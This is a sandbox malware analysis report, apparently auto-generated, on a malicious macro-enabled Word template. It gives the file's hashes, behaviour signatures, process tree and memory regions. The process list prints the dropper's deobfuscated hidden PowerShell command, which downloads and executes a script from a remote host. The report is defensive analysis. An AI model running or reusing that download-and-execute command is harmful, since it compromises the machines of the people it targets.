Analysis

  • max time kernel
    141s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-06-2024 09:56

General

  • Target

    cabb1a286994d597b4840176223cde844676e488051d27a1a3d35d208e0b56d3.dotm

  • Size

    19KB

  • MD5

    f521243bb4603ec2d67ac404b1cbd942

  • SHA1

    f33ae32bfd44346172263a46fc06a3ea770c78ed

  • SHA256

    cabb1a286994d597b4840176223cde844676e488051d27a1a3d35d208e0b56d3

  • SHA512

    1b4e45cf227fb53de35db348f1eb832b85ce6cb2165548ce89b4fdb4328b6e32a713bc5dd279bb4bc4044b2c364c79338ea499f43d55cd0eb8f94428875170a5

  • SSDEEP

    384:tmtRFMr+ii92IUI6bl+ZwNxt/ZtNNxFGPpql3FT6nAhiq:qRF2+ibIMl+ZqxllNzGPYinAwq

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://192.168.49.70/run.txt

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\cabb1a286994d597b4840176223cde844676e488051d27a1a3d35d208e0b56d3.dotm" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:1516
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://192.168.49.70/run.txt'))
    1⤵
    • Process spawned unexpected child process
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1656
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4080 --field-trial-handle=2744,i,16362475727591565961,3676688664819797550,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:832

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pcpepfhh.u24.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1516-28-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1516-5-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1516-4-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1516-2-0x00007FF80DC30000-0x00007FF80DC40000-memory.dmp

      Filesize

      64KB

    • memory/1516-33-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1516-6-0x00007FF80DC30000-0x00007FF80DC40000-memory.dmp

      Filesize

      64KB

    • memory/1516-8-0x00007FF80DC30000-0x00007FF80DC40000-memory.dmp

      Filesize

      64KB

    • memory/1516-34-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1516-9-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1516-40-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1516-11-0x00007FF80B8D0000-0x00007FF80B8E0000-memory.dmp

      Filesize

      64KB

    • memory/1516-12-0x00007FF80B8D0000-0x00007FF80B8E0000-memory.dmp

      Filesize

      64KB

    • memory/1516-24-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1516-25-0x00007FF84DC4D000-0x00007FF84DC4E000-memory.dmp

      Filesize

      4KB

    • memory/1516-26-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1516-0-0x00007FF80DC30000-0x00007FF80DC40000-memory.dmp

      Filesize

      64KB

    • memory/1516-7-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1516-3-0x00007FF80DC30000-0x00007FF80DC40000-memory.dmp

      Filesize

      64KB

    • memory/1516-10-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1516-86-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1516-1-0x00007FF84DC4D000-0x00007FF84DC4E000-memory.dmp

      Filesize

      4KB

    • memory/1516-84-0x00007FF80DC30000-0x00007FF80DC40000-memory.dmp

      Filesize

      64KB

    • memory/1516-52-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1516-53-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1516-54-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1516-55-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1516-56-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1516-85-0x00007FF80DC30000-0x00007FF80DC40000-memory.dmp

      Filesize

      64KB

    • memory/1516-83-0x00007FF80DC30000-0x00007FF80DC40000-memory.dmp

      Filesize

      64KB

    • memory/1516-82-0x00007FF80DC30000-0x00007FF80DC40000-memory.dmp

      Filesize

      64KB

    • memory/1656-62-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1656-57-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1656-48-0x00000273A66E0000-0x00000273A6702000-memory.dmp

      Filesize

      136KB

    • memory/1656-41-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

      Filesize

      2.0MB